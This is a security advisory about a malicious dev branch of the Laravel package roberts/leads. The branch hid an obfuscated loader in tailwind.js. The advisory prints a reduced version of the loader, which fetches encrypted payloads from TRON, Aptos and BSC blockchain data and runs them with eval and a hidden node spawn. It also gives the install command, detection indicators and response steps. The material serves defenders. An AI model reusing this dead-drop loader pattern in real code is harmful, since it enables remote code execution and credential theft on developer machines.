high
CVE
Not assigned
CWE
CWE-506, CWE-94, CWE-829
Affected Surface
roberts/leads Packagist dev version dev-drewroberts/feature/test-case, GitHub branch drewroberts/feature/test-case, tailwind.js at commit 6c5c3c7655ce76399af11126b7e9a9058eb2e45d, PHP/Laravel developer workstations and CI runners that installed or cloned the poisoned branch
Socket reported a targeted Packagist compromise affecting the legitimate Laravel package roberts/leads. The malicious artifact was not the stable release line. It was the installable Composer development version dev-drewroberts/feature/test-case, mapped to the GitHub branch drewroberts/feature/test-case.
That scoping matters. A random production dependency update is less likely to select this branch by accident. A fake job interview, onboarding task, or “please test this branch” request can make the exact install command look normal:
composer require roberts/leads:dev-drewroberts/feature/test-case
The affected package has reportedly been removed from Packagist, but hosts that installed it retain the local vendor copy, Composer cache, shell history, CI logs, and any secrets available while the loader ran.
Affected artifact
| Field | Value |
|---|---|
| Composer package | roberts/leads |
| Affected Packagist version | dev-drewroberts/feature/test-case |
| GitHub branch | drewroberts/feature/test-case |
| Affected file | tailwind.js |
| Observed commit | 6c5c3c7655ce76399af11126b7e9a9058eb2e45d |
| Reported archive SHA-256 | 522b28a2f78771715497ba53729d4ab9a50e982322c391379f3bddf7c8cb363f |
Reported tailwind.js SHA-256 | 96afdba882046385242cbed46871e41147c8055c5d9eff7460847b2c01a77dc3 |
Loader placement
The loader was appended after an otherwise ordinary Tailwind configuration. The suspicious behavior was not in composer.json; it was in JavaScript build configuration that PHP developers may review less carefully during a Composer-driven install.
The visible shape is:
module.exports = {
purge: [],
theme: {
extend: {},
},
variants: {},
plugins: [],
};
// Hidden far to the right after a large whitespace gap:
global["!"] = "9-0264-2";
var _$_1e42 = "...";
Anything after the closing }; is outside the Tailwind configuration. In this case, the appended code reconstructed Node.js internals, decoded strings at runtime, reached public blockchain infrastructure, decrypted remote data with hardcoded XOR keys, and executed the result.
Blockchain dead-drop execution
The deobfuscated control flow reported by Socket can be reduced to this pattern:
async function resolvePayload(xorKey, tronWallet, aptosAddress) {
let txHash;
try {
const tx = await getJson(
`https://api.trongrid.io/v1/accounts/${tronWallet}/transactions?only_confirmed=true&only_from=true&limit=1`
);
txHash = Buffer.from(tx.data[0].raw_data.data, "hex")
.toString("utf8")
.split("")
.reverse()
.join("");
} catch {
const fallback = await getJson(
`https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAddress}/transactions?limit=1`
);
txHash = fallback[0].payload.arguments[0];
}
const encrypted = await getBscTransactionInput(txHash);
return xorDecrypt(encrypted, xorKey);
}
const firstStage = await resolvePayload(key1, tronWallet1, aptosFallback1);
eval(firstStage);
const secondStage = await resolvePayload(key2, tronWallet2, aptosFallback2);
require("child_process").spawn("node", ["-e", secondStage], {
detached: true,
stdio: "ignore",
windowsHide: true
});
This design avoids a fixed malware domain. The local package only needs to know how to query public RPC services and derive executable JavaScript from transaction data. If the actor changes what a transaction points to, the package behavior can change without a new package publish.
Why this is an application-security issue
The local loader is a remote-code execution primitive inside the developer’s Node.js process. From there, the fetched stage can read the same material a build tool can read:
process.env
.env and .env.local
SSH private keys
Composer credentials
npm tokens
Git remotes and credentials
cloud provider credentials
CI job tokens
application source code
That makes the blast radius broader than one PHP package. A single developer task can expose the credentials needed to push code, publish packages, deploy infrastructure, or access production data.
Detection
Hunt for the affected dependency and for the loader indicators in source trees, Composer caches, and CI workspaces:
rg -n \
"roberts/leads|dev-drewroberts/feature/test-case|drewroberts/feature/test-case|global\\['!'\\]|_\\$_1e42|trongrid|aptoslabs|bsc-dataseed|eth_getTransactionByHash|windowsHide" \
.
Network telemetry during builds is also useful. A PHP project build that starts node, contacts TRON or Aptos RPC APIs, then spawns node -e should be treated as malicious until proven otherwise.
Response
If the affected dev branch ran on a developer workstation or CI runner:
- Remove
roberts/leads:dev-drewroberts/feature/test-caseand purge Composer caches containing the branch. - Rebuild affected CI runners from clean images instead of only deleting the vendor directory.
- Rotate credentials reachable from the process environment: GitHub, GitLab, Bitbucket, Composer, npm, cloud, database, SSH, and deployment tokens.
- Review Git remotes, branch protections, deploy keys, OAuth apps, and recently created personal access tokens.
- Block unreviewed
dev-*Composer constraints in CI unless they are pinned to an audited commit SHA.
The narrow branch targeting is the point: defenders should treat unfamiliar developer instructions as code execution, even when the repository and maintainer name look legitimate.